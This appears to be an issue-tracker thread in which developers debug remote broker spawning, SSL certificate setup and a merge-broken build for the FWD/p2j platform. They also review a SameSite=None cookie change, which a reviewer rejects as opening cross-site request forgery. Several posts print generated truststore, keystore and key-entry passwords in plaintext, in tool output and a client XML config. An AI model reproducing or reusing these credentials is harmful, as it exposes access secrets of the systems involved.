/opt/spawner/spawn 1 rfb /home/rfb/projects/hotel_rfb/deploy/client java -Xmx512m -Djava.awt.headless=true -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5000 -Djava.library.path=/home/rfb/projects/fwd/trunk/build/lib/ -classpath /home/rfb/projects/fwd/trunk/build/lib/p2j.jar com.goldencode.p2j.main.ClientDriver net:server:host=localhost net:socket:nio=false net:ssl:trackSeqNo=false net:connection:secure=true net:server:secure_port=3333 server:spawner:uuid=00d2f40b-4d30-49e0-ac34-7d7ba298dc79

Roger Borrello wrote:

I can actually run that from the command line (as sudo) but I don't actually see it fork off java.

That was discussed already. If the spawner returns 0 code , then it means that it launches the java command and the ClientDriver has been failed at the beginning. Check what the parameter are really delivered to the command line. The spawner gets this option -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5000 but this option is not delivered because all parameters are passed via com.goldencode.p2j.main.NativeSecureConnection.command see #9709-168.
For example, the log for the broker client in the case of the remote spawn can be this one

INFO: The argument number 0 is: fwd.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/fwd/projects/hotel_gui/deploy/broker.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx1G.
INFO: The argument number 5 is: .
INFO: The argument number 6 is: -Djava.awt.headless=true.
INFO: The argument number 7 is: -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/.
INFO: The argument number 8 is: -classpath.
INFO: The argument number 9 is: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar.
INFO: The argument number 10 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 11 is: net:server:host=fwddev1.
INFO: The argument number 12 is: net:socket:nio=false.
INFO: The argument number 13 is: net:ssl:trackSeqNo=false.
INFO: The argument number 14 is: net:connection:secure=true.
INFO: The argument number 15 is: net:server:secure_port=3333.
INFO: The argument number 16 is: sso:subject:id=bogus.
INFO: The argument number 17 is: sso:storage:id=storage-hotel.
INFO: The argument number 18 is: client:web:host=localhost.
INFO: The argument number 19 is: remote:agent:dedicatedMode=true.
INFO: The argument number 20 is: client:web:port=7449.
INFO: The argument number 21 is: server:spawner:uuid=fd8f4b19-f1b1-4fab-9750-72235ce1a1d9.
INFO: Check user account for: fwd.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/fwd/projects/hotel_gui/deploy/broker).
INFO: Spawn result code: (0).

There are no feedbacks or review of rev 16228 (9709b). That should be rebased. As I wrote in #9709-203 broker client does not work with Java17. So I need some help here. I have no ideas.

Rebased 9709b up to rev 16299. Please review. These changes are needed for broker client and SSO plugin.

Sergey Ivanovskiy wrote:

Rebased 9709b up to rev 16299. Please review. These changes are needed for broker client and SSO plugin.

I have no plans to add something to this branch but only to fix the reviewers remarks.

Hi all,
I can't seem to add myself as a watcher on this issue, can you help?

Yes, seems you are in the watcher list, added.

Updated 9709b over the trunk up to rev. 16326.

Sergey, I am working on this again and I want to recap the process to setup the certificates, because that was the biggest challenge.

I run: java -classpath ../../p2j/build/lib/p2j.jar com.goldencode.p2j.security.SSLCertGenUtil -C YES -dir directory.xml on the fwddev1 server, and this will generate certificate updates in the directory.xml, as well as the passwords and .store files, which need to be utilized for access. The -C YES indicates "Reuse root CA from the directory". You are prompted for:

Enter the target P2J server identifier (by default "standard"): 

Re-use the encryption passwords currently in the directory (yes/no):

Enter the root CA private-key encryption password:

Encrypt the in-directory private keys using the same password (yes/no):

At this point, the private keys are created and saved in the directory, and passwords stored, etc. The output for "broker1" has:

Private key for alias [broker1] was encrypted using the [UI74WV-dQlZQ~52WQ69gC5em%Mrqh9(g] password and saved in the /security/certificates/private-keys/broker1 node.
Use the access:password:keyentry-broker1 key to set this password in the server's bootstrap config file and delete  the /security/certificates/private-keys/broker1 node from the directory.
Adding certificate for alias [broker1] to the /security/certificates/peers/broker1 node...
Certificate for alias [broker1] has checksum [134729199e8e047fc1ffe1033f903e39]
...
The private key for certificate [broker1] was saved in the [broker1-private-key.store] key store, using store password [6MtJvx#38P$xy8Ymo?gh0Y7sE3ffKU)e5Vqw] and key-entry password [gmxKx9(Bo12f8zvP0zlv<6Rk+hc>NBmkT63c].

  <access>
    <password truststore="eS9-8b*7VeR6Z~@hfhAf9SuQkvq3wJtDg88J" />
    <password keystore="6MtJvx#38P$xy8Ymo?gh0Y7sE3ffKU)e5Vqw" />
    <password keyentry="gmxKx9(Bo12f8zvP0zlv&lt;6Rk+hc&gt;NBmkT63c" />
  </access>

If that data gathering is correct, there is the part about changing the values that go into the XML. Is there a standard for what characters needs to change? Some of the characters need to be modified so they can be handled in XML (such as & must change to & and < to <, etc).

https://stackoverflow.com/questions/1091945/what-characters-do-i-need-to-escape-in-xml-documents

https://share.google/aimode/PtMfpXexnjGANdkow

We can modify com.goldencode.p2j.security.SSLCertGenUtil to make it possible generate required xml files. Could you gather requirements to implement these changes. Although the last time I worked with this API is 2017 so I need a time to adapt myself to this code.

I did the changes in 9709b that were not reviewed yet.

Sergey Ivanovskiy wrote:

I did the changes in 9709b that were not reviewed yet.

Is Hynek the appropriate reviewer?

I'm interested in understanding why when we run the ClientDriver at the command line (typically via client.sh), we pass -k and -t for the ssl-socket:keystore:password and ssl-socket:truststore:password values, but what about the keyentry option that shows up in the XML:

  <access>
    <password truststore="eS9-8b*7VeR6Z~@hfhAf9SuQkvq3wJtDg88J" />
    <password keystore="6MtJvx#38P$xy8Ymo?gh0Y7sE3ffKU)e5Vqw" />
    <password keyentry="gmxKx9(Bo12f8zvP0zlv&lt;6Rk+hc&gt;NBmkT63c" />
  </access>

Sergey Ivanovskiy wrote:

https://stackoverflow.com/questions/1091945/what-characters-do-i-need-to-escape-in-xml-documents

https://share.google/aimode/PtMfpXexnjGANdkow

Thank you for these references.

Sergey, I seemed to have taken a step back, even though I have good certificates and passwords configured. The directory is configured same as yours. The server (fwddev1) log shows:

25/12/23 18:06:55.330-0500 |    INFO | com.goldencode.p2j.main.Broker [Broker.removeBroker()] | ThreadName:Reader [00000008:broker1_process], Session:00000008, ThreadId:00000013, User:broker1_process | Broker user=broker1_process uuid=54315aab-dd8c-46d3-be5a-64e3ba1e6cb3 removed.

When I start the broker, the command (abbreviated) is:

java -XX:+HeapDumpOnOutOfMemoryError -Djava.library.path=../../p2j/build/lib -classpath ../lib/hotel.jar: ... com.goldencode.p2j.main.ClientDriver net:socket:nio=false net:connection:secure=true net:server:secure_port=3333 net:server:insecure_port=3433 /home/fwd/projects/hotel_gui/deploy/broker/broker1_client.xml client:mode:batch=true client:driver:background=true

Show the broker1_client.xmlShow the broker1_client.xml

<node type="client">
  <client>
    <mode broker="true" />
    <mode batch="true" />
    <driver background="true" />
    <driver type="gui_native" />
    <logging path="/home/fwd/projects/hotel_gui/deploy/logs/client_%uos_%pid_%uf_%g.log" rotationLimit="50000000" rotationCount="4" />
  </client>

  <net>
    <server host="fwddev1" />
    <server port="3433" />
    <server secure_port="3333" />
    <connection secure="true" />
  </net>

  <security>
    <certificate validate="true" />
    <truststore filename="../server/srv-certs.store" />
    <truststore alias="standard" />
    <keystore filename="../server/broker1-private-key.store" />
    <keystore processalias="broker1" />
    <authentication type="program"/>
  </security>

  <access>
    <password truststore="eS9-8b*7VeR6Z~@hfhAf9SuQkvq3wJtDg88J" />
    <password keystore="6MtJvx#38P$xy8Ymo?gh0Y7sE3ffKU)e5Vqw" />
    <password keyentry="gmxKx9(Bo12f8zvP0zlv&lt;6Rk+hc&gt;NBmkT63c" />
  </access>

  <remote>
    <retry count="10" />
    <retry seconds="10" />
    <spawner file="/opt/spawner/spawn" />
    <agent host="fwddev2"/>
    <agent user="fwd"/>
    <agent dedicatedMode="true"/>
    <java args="-Xmx512m -Djava.awt.headless=true -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/" />
    <java classpath="/home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar" />
  </remote>
</node>

But there isn't any spawner launched when I go to http://fwddev2:7443/gui.

The crash log on fwddev2 shows:

25/12/23 18:00:13.036-0500 |    INFO | com.goldencode.p2j.main.BrokerCore [BrokerCore.start()] | ThreadName:main | Connecting (9) ...
25/12/23 18:00:13.201-0500 |   FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = fwddev1; port = 3333; secure = true;
25/12/23 18:00:13.766-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /192.168.1.162:33927 -> fwddev1/192.168.1.241:3333
25/12/23 18:00:13.768-0500 |   FINER | com.goldencode.p2j.security.SecurityManager | ThreadName:main | secure = true
25/12/23 18:00:13.768-0500 |   FINER | com.goldencode.p2j.security.SecurityManager | ThreadName:main | sentCert = true
25/12/23 18:00:13.768-0500 |   FINER | com.goldencode.p2j.security.SecurityManager | ThreadName:main | Getting AUTHMODEREQ
25/12/23 18:00:13.770-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/12/23 18:00:13.770-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/12/23 18:00:13.774-0500 |   FINER | com.goldencode.p2j.security.SecurityManager | ThreadName:main | Got AUTHMODEREQ: 0 (action = 0)
25/12/23 18:00:13.774-0500 |   FINER | com.goldencode.p2j.security.SecurityManager | ThreadName:main | Done with retry loop.
25/12/23 18:00:13.774-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
25/12/23 18:00:13.775-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): true
25/12/23 18:00:13.775-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): 'broker1_process'
25/12/23 18:00:14.110-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
25/12/23 18:00:14.115-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
25/12/23 18:00:14.129-0500 |   FINER | com.goldencode.p2j.net.RemoteObject | ThreadName:main | exported com.goldencode.p2j.main.BrokerClientServices:public abstract com.goldencode.p2j.main.BrokerSpawnResult com.goldencode.p2j.main.BrokerClientServices.spawn(com.goldencode.p2j.main.BrokerSpawnParameters)
25/12/23 18:00:14.129-0500 |   FINER | com.goldencode.p2j.net.RemoteObject | ThreadName:main | exported com.goldencode.p2j.main.BrokerClientServices:public abstract java.lang.String com.goldencode.p2j.main.BrokerClientServices.ping(java.lang.String)
25/12/23 18:00:14.129-0500 |   FINER | com.goldencode.p2j.net.RemoteObject | ThreadName:main | exported com.goldencode.p2j.main.BrokerClientServices:public abstract java.lang.String com.goldencode.p2j.main.BrokerClientServices.getDedicatedHost()
25/12/23 18:00:14.129-0500 |   FINER | com.goldencode.p2j.net.RemoteObject | ThreadName:main | exported com.goldencode.p2j.main.BrokerClientServices:public abstract double com.goldencode.p2j.main.BrokerClientServices.getSystemLoading()
25/12/23 18:00:14.140-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[230])
25/12/23 18:00:14.144-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
25/12/23 18:00:14.146-0500 |   FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String com.goldencode.p2j.main.BrokerServerServices.registerBroker(java.lang.String,java.lang.String,boolean)
25/12/23 18:00:14.146-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (fwddev2, fwd, true)
25/12/23 18:00:14.146-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[64])
25/12/23 18:00:14.153-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[75]
25/12/23 18:00:14.153-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = 54315aab-dd8c-46d3-be5a-64e3ba1e6cb3
25/12/23 18:00:14.153-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 7
25/12/23 18:00:14.153-0500 |    INFO | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Broker has been registered uid=54315aab-dd8c-46d3-be5a-64e3ba1e6cb3
25/12/23 18:00:14.154-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[184])
25/12/23 18:00:14.159-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
25/12/23 18:00:14.159-0500 |   FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract void com.goldencode.p2j.main.BrokerServerServices.start(java.lang.String)
25/12/23 18:00:14.159-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (54315aab-dd8c-46d3-be5a-64e3ba1e6cb3)
25/12/23 18:00:14.159-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])

I just cannot figure out why there isn't a URL created and client spawned.

Roger Borrello wrote:

I'm interested in understanding why when we run the ClientDriver at the command line (typically via client.sh), we pass -k and -t for the ssl-socket:keystore:password and ssl-socket:truststore:password values, but what about the keyentry option that shows up in the XML:
[...]
Is that something that should be passed to the ClientDriver?

ServerKeyStore has key entry password as keyManagerPassword. The local web client gets this server store from the server via (ClientCore)

         // Obtain Spawner remote access interface
         Spawner spawner = (Spawner) RemoteObject.obtainNetworkInstance(Spawner.class, session);
         if (spawner != null)
         {
            String projectToken = config.getString(ConfigItem.PROJECT_TOKEN, null);
            TemporaryClient tempClient = spawner.getTemporaryClient(uuid, projectToken);
            driver = tempClient.doWork(spawner, config, diag);
         }
         else
         {
            throw new RuntimeException(String.format("Network server %s not found!",
                                                     Spawner.class.getName()));
         }

For the broker setup the spawned client connects to the server via SSL and gets remote server objects and performs the same calls as it happens for the local web client. The certificates store is needed only for the embedded web server that is started with the spawned web client. Correct?

Roger Borrello wrote:

Sergey Ivanovskiy wrote:

I did the changes in 9709b that were not reviewed yet.

Is Hynek the appropriate reviewer?

Yes, you can add Eugenie and Constantin, they can review.

I used 9709b.

Code review 9709b.

Potential NPE, env.get(BrokerCore.BROKER_DEDICATED_HOST) may in theory return null. For safety I would add a check.

In WebClientBuilder please merge the three if (merge) in a single one.

I'm a bit uneasy with relaxing the same-site cookie policy in AuthHandler. Shouldn't we provide at least Lax? Or better having this configured and only allow relaxing it when needed?

Hynek Cihlar wrote:

Code review 9709b.

I'm a bit uneasy with relaxing the same-site cookie policy in AuthHandler. Shouldn't we provide at least Lax? Or better having this configured and only allow relaxing it when needed?

I can explain it in this manner that the security cookie is associated with the main web site but the web client started on the different host takes this cookie that has another origin to authenticate a user.

It seems that NONE is only option. In practice I did some tests that showed that another cookie policies do not work. The web client is started from the different site so the request to the embedded web server needs to have this security origin, please look at this https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies
NONE does not mean that we weak the web application security but it means that we have such design.

Hynek Cihlar wrote:

Code review 9709b.

Potential NPE, env.get(BrokerCore.BROKER_DEDICATED_HOST) may in theory return null. For safety I would add a check.

In WebClientBuilder please merge the three if (merge) in a single one.

Please review revision 16336 (9709b) in which these issues are fixed.

Sergey Ivanovskiy wrote:

It seems that NONE is only option. In practice I did some tests that showed that another cookie policies do not work. The web client is started from the different site so the request to the embedded web server needs to have this security origin, please look at this https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies
NONE does not mean that we weak the web application security but it means that we have such design.

On a second thought we should really not relax the same-site policy.

This is an authorization cookie. With the same-site policy set to NONE a malicous site could post a request to FWD with the authorization cookie attached.

The authorization token should be delivered to the client during the spawning process if both the client and server must be exposed to the browser with different server names.

Greg, please review the idea.

Hynek, could you please explain or develop your idea more thoroughly because it is not clear for me now. The spawned web client gets security token through the spawn process but the js web client is authenticated via this security cookie.

Sergey Ivanovskiy wrote:

Hynek, could you please explain or develop your idea more thoroughly because it is not clear for me now. The spawned web client gets security token through the spawn process but the js web client is authenticated via this security cookie.

Please let me re-iterate the idea.

The same-site policy must not be set to NONE, this introduces the vulnerability mentioned in my previous message.

Now to overcome the authorization cookie not accessible by the inner iframe (served by the client) I see two options.

1. A reverse proxy so that both the server content and the client content appear as a single domain.

or:

2. Do not use the secure cookie for authorization but instead send an authorization token in the Authorization HTTP header. This will require a change in AuthHandler (and JS driver), but the result will allow more deployment options (without the reverse proxy).

Hynek, is this rev 16336 (9709b) passed the review if we don't take into account the security issues?
I would propose to make this part as a second part of this issue because it gives a chance to develop multi-container Docker environment/broker spawning in parallel to this task. The first option to use the proxy server and the other idea to make use the security header require the time to evaluate and to develop so it would be good if this work didn't block the multi-container Docker environment/broker spawning task.

Hynek Cihlar wrote:

Sergey Ivanovskiy wrote:

Hynek, could you please explain or develop your idea more thoroughly because it is not clear for me now. The spawned web client gets security token through the spawn process but the js web client is authenticated via this security cookie.

Please let me re-iterate the idea.

The same-site policy must not be set to NONE, this introduces the vulnerability mentioned in my previous message.

What is the difference between the security header and security cookie if the both values can be decrypted?

I don't understand why this option (ref https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies)

None specifies that cookies are sent on both originating and cross-site requests. This is useful if you want to send cookies along with requests made from third-party content embedded in other sites, for example, ad-tech or analytics providers. Note that if SameSite=None is set then the Secure attribute must also be set — SameSite=None requires a secure context.

Why these issues were not raised when iframe with cookie were developed at the different task more earlier? The same site option could not be the critical issue that can lead to the mentioned vulnerability. I can agree if the web client can serve any users external pages, then the secure cookie can be visible to the authors of external pages. Do you agree?

Sergey Ivanovskiy wrote:

Why these issues were not raised when iframe with cookie were developed at the different task more earlier? The same site option could not be the critical issue that can lead to the mentioned vulnerability. I can agree if the web client can serve any users external pages, then the secure cookie can be visible to the authors of external pages. Do you agree?

I think it is not correct because the secure cookie is only visible to pages that served by the main web server.

Sergey Ivanovskiy wrote:

Hynek Cihlar wrote:

Sergey Ivanovskiy wrote:

Hynek, could you please explain or develop your idea more thoroughly because it is not clear for me now. The spawned web client gets security token through the spawn process but the js web client is authenticated via this security cookie.

Please let me re-iterate the idea.

The same-site policy must not be set to NONE, this introduces the vulnerability mentioned in my previous message.

What is the difference between the security header and security cookie if the both values can be decrypted?

The NONE Same-Site policy introduces a vulnerability to Cross-Site Request Forgery (CSRF) attacks. This is because it instructs the browser to automatically attach session cookies to requests initiated by any website.

So, if you log in to FWD and then visit a malicious site (while valid login cookies exist), that site can force your browser to send a request to a protected FWD endpoint. Since Same-Site is relaxed to NONE, the browser attaches the credentials and the request succeeds.

The Authorization Header prevents this because headers are never sent automatically by the browser. The malicious site cannot force the browser to include the header because it does not have access to the token required to build it.

Sergey Ivanovskiy wrote:

Hynek, is this rev 16336 (9709b) passed the review if we don't take into account the security issues?
I would propose to make this part as a second part of this issue because it gives a chance to develop multi-container Docker environment/broker spawning in parallel to this task. The first option to use the proxy server and the other idea to make use the security header require the time to evaluate and to develop so it would be good if this work didn't block the multi-container Docker environment/broker spawning task.

As long as the changes are not delivered anywhere, and will only serve the internal purpose of building the multi-container environment, I'm fine with the changes. A follow up task branch will need to address the security issue.

OK. Thank you for pointing on this issue. I didn't know the Cross-site request forgery (CSRF) method to steal cookies. I will investigate the possible ways to secure the web client too.

It seems that using Anti-CSRF Tokens should be more easily to implement because this token can be included into html template page.

We cannot require reverse proxy as a solution.

Authentication cookie is used only by AuthHandler and is not used by known implementations of SsoAuthenticator. I supposed to use auth parameter for GET sub requests initiated from the main web client template.

Roger, you should connect to the server host but not to the broker host. From your description it is fwddev1:7443/gui, where the server is hosted.

The standard server is running on the host fwddev1 so this host must be accessible from https://fwddev1:7443/gui. The broker client on fwddev2 is connected to fwddev1 and will spawn the web client on fwddev2 on submitting user credentials to https://fwddev1:7443/gui and the spawned web client https://fwddev2:7449/ will be injected to the main iframe hosted on https://fwddev1:7443/gui web page.

Please use rev 16336 (9709b) because this cross-site cookie is not permitted with rev 16337 (9709b). I committed rev 16337 (9709b) for testing purposes.

Sergey Ivanovskiy wrote:

Please use rev 16336 (9709b) because this cross-site cookie is not permitted with rev 16337 (9709b). I committed rev 16337 (9709b) for testing purposes.

Updating and retrying with your notes now.

Am I receiving the below due to Java 17 updates or your updates?

fwd@basedev_ubuntu_2404_latest_container:~/projects/fwd/9709b$ fwd_update.sh --build
rfb@xfer.goldencode.com's password: 
Tree is up to date at revision 16337 of branch bzr+ssh://rfb@xfer.goldencode.com/opt/fwd/9709b                                                                                                    
Setting repo to p2j in version.properties ...
Setting branch to 9709b in version.properties ...
Setting rev to 16337 in version.properties ...
To honour the JVM settings for this build a single-use Daemon process will be forked. See https://docs.gradle.org/7.6.4/userguide/gradle_daemon.html#sec:disabling_the_daemon.
Daemon will be stopped at the end of the build 

> Configure project :
[ant:echo] propArg: 

> Task :buildVersion
Product version: 4.0.0_p2j_9709b_16337
[ant:antlr] ANTLR Parser Generator   Version 2.7.7 (20060906)   1989-2005
[ant:antlr] ANTLR Parser Generator   Version 2.7.7 (20060906)   1989-2005
[ant:antlr] ANTLR Parser Generator   Version 2.7.7 (20060906)   1989-2005
[ant:antlr] ANTLR Parser Generator   Version 2.7.7 (20060906)   1989-2005
[ant:antlr] ANTLR Parser Generator   Version 2.7.7 (20060906)   1989-2005
[ant:antlr] ANTLR Parser Generator   Version 2.7.7 (20060906)   1989-2005
[ant:antlr] ANTLR Parser Generator   Version 2.7.7 (20060906)   1989-2005
[ant:antlr] ANTLR Parser Generator   Version 2.7.7 (20060906)   1989-2005
[ant:antlr] ANTLR Parser Generator   Version 2.7.7 (20060906)   1989-2005
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:264: error: illegal start of expression
[ant:javac] <<<<<<< TREE
[ant:javac] ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:264: error: illegal start of expression
[ant:javac] <<<<<<< TREE
[ant:javac]   ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:264: error: illegal start of expression
[ant:javac] <<<<<<< TREE
[ant:javac]     ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:265: error: > expected
[ant:javac]          else if (cmd.indexOf(BrokerCore.PARAM_REMOTE_AGENT_HOST) > -1)
[ant:javac]          ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:273: error: illegal start of expression
[ant:javac] =======
[ant:javac] ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:273: error: illegal start of expression
[ant:javac] =======
[ant:javac]   ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:273: error: illegal start of expression
[ant:javac] =======
[ant:javac]     ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:273: error: illegal start of expression
[ant:javac] =======
[ant:javac]       ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:274: error: illegal start of expression
[ant:javac]          else if (cmd.indexOf(BrokerCore.PARAM_REMOTE_AGENT_HOST) > -1)
[ant:javac]          ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:290: error: illegal start of expression
[ant:javac] >>>>>>> MERGE-SOURCE
[ant:javac] ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:290: error: illegal start of expression
[ant:javac] >>>>>>> MERGE-SOURCE
[ant:javac]    ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:290: error: illegal start of expression
[ant:javac] >>>>>>> MERGE-SOURCE
[ant:javac]       ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:290: error: ';' expected
[ant:javac] >>>>>>> MERGE-SOURCE
[ant:javac]                     ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:291: error: 'else' without 'if'
[ant:javac]          else
[ant:javac]          ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:173: error: illegal start of expression
[ant:javac] <<<<<<< TREE
[ant:javac] ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:173: error: illegal start of expression
[ant:javac] <<<<<<< TREE
[ant:javac]   ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:173: error: illegal start of expression
[ant:javac] <<<<<<< TREE
[ant:javac]     ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:174: error: > expected
[ant:javac]       if (remote)
[ant:javac]       ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:189: error: illegal start of expression
[ant:javac] =======
[ant:javac] ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:189: error: illegal start of expression
[ant:javac] =======
[ant:javac]   ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:189: error: illegal start of expression
[ant:javac] =======
[ant:javac]     ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:189: error: illegal start of expression
[ant:javac] =======
[ant:javac]       ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:190: error: illegal start of expression
[ant:javac]       if (remote)
[ant:javac]       ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:197: error: illegal start of expression
[ant:javac] >>>>>>> MERGE-SOURCE
[ant:javac] ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:197: error: illegal start of expression
[ant:javac] >>>>>>> MERGE-SOURCE
[ant:javac]    ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:197: error: illegal start of expression
[ant:javac] >>>>>>> MERGE-SOURCE
[ant:javac]       ^
[ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:197: error: ';' expected
[ant:javac] >>>>>>> MERGE-SOURCE
[ant:javac]                     ^
[ant:javac] 27 errors

> Task :ant-compile FAILED

FAILURE: Build failed with an exception.

* What went wrong:
Execution failed for task ':ant-compile'.
> Compile failed; see the compiler error output for details.

* Try:
> Run with --stacktrace option to get the stack trace.
> Run with --info or --debug option to get more log output.
> Run with --scan to get full insights.

* Get more help at https://help.gradle.org

Deprecated Gradle features were used in this build, making it incompatible with Gradle 8.0.

You can use '--warning-mode all' to show the individual deprecation warnings and determine if they come from your own scripts or plugins.

See https://docs.gradle.org/7.6.4/userguide/command_line_interface.html#sec:command_line_warnings

BUILD FAILED in 1m 2s
31 actionable tasks: 31 executed
fwd@basedev_ubuntu_2404_latest_container:~/projects/fwd/9709b$ 

Perhaps I need to patch something to use a new gradle, if I recall correctly?

Roger Borrello wrote:

Am I receiving the below due to Java 17 updates or your updates?
[...]

Perhaps I need to patch something to use a new gradle, if I recall correctly?

Roger, there's something wrong on your side. 9709b/16337 compiles fine on my side - see the >>>>>> MERGE-SOURCE and <<<<<< TREE messages in your output, this is from some rebase? or something else.

Yikes... The dbash.sh fwd_update.sh tool was using the xfer location, which I created with the standard tool script:

p=sftp://rfb@devsrv01/opt/secure/code/p2j_repo/p2j
b="trunk" 
[ ! -z "$1" ] && b="$1" 
if [ "$b" != "trunk" ]; then
   p=${p}/active/$b
else
   p=${p}/$b
fi
if [ -d "/opt/fwd/$b" ]; then
   cd /opt/fwd/$b/
   bzr bind $p
   bzr update
   bzr revert > /dev/null 2>&1
   bzr unbind
   sudo chown root:users -R .
   sudo find . -type d -exec chmod g+s '{}' \; && sudo chmod 0775 . -R
   cd
else
   echo "/opt/fwd/$b" not found.
fi

However, it looks like the revert didn't really cleanup the 2 conflicts encountered. I ran it again, and they were cleaned up.

You also need a bzr clean-tree --force to be sure you get a clean branch.

Constantin Asofiei wrote:

You also need a bzr clean-tree --force to be sure you get a clean branch.

So this is good... should this be my standard framework for script that updates xfer versions of bzr repos?

p=sftp://rfb@devsrv01/opt/secure/code/p2j_repo/p2j
b="trunk" 
[ ! -z "$1" ] && b="$1" 
if [ "$b" != "trunk" ]; then
   p=${p}/active/$b
else
   p=${p}/$b
fi
if [ -d "/opt/fwd/$b" ]; then
   cd /opt/fwd/$b/
   bzr bind $p
   bzr update
   bzr revert > /dev/null 2>&1
   bzr clean-tree --force
   bzr unbind
   sudo chown root:users -R .
   sudo find . -type d -exec chmod g+s '{}' \; && sudo chmod 0775 . -R
   cd
else
   echo "/opt/fwd/$b" not found.
fi

Yes, that should work.

I'm getting a much more favorable situation, only the browser is indicating localhost refused to connect. I have the host as fwddev1 in the directory. The broker1 output shows:

fwd@fwddev2:~/projects/hotel_gui/deploy/client$ ./client.sh -bc ../broker/broker1_client.xml -h fwddev1
INFO: Spawn process started with pid 4394.
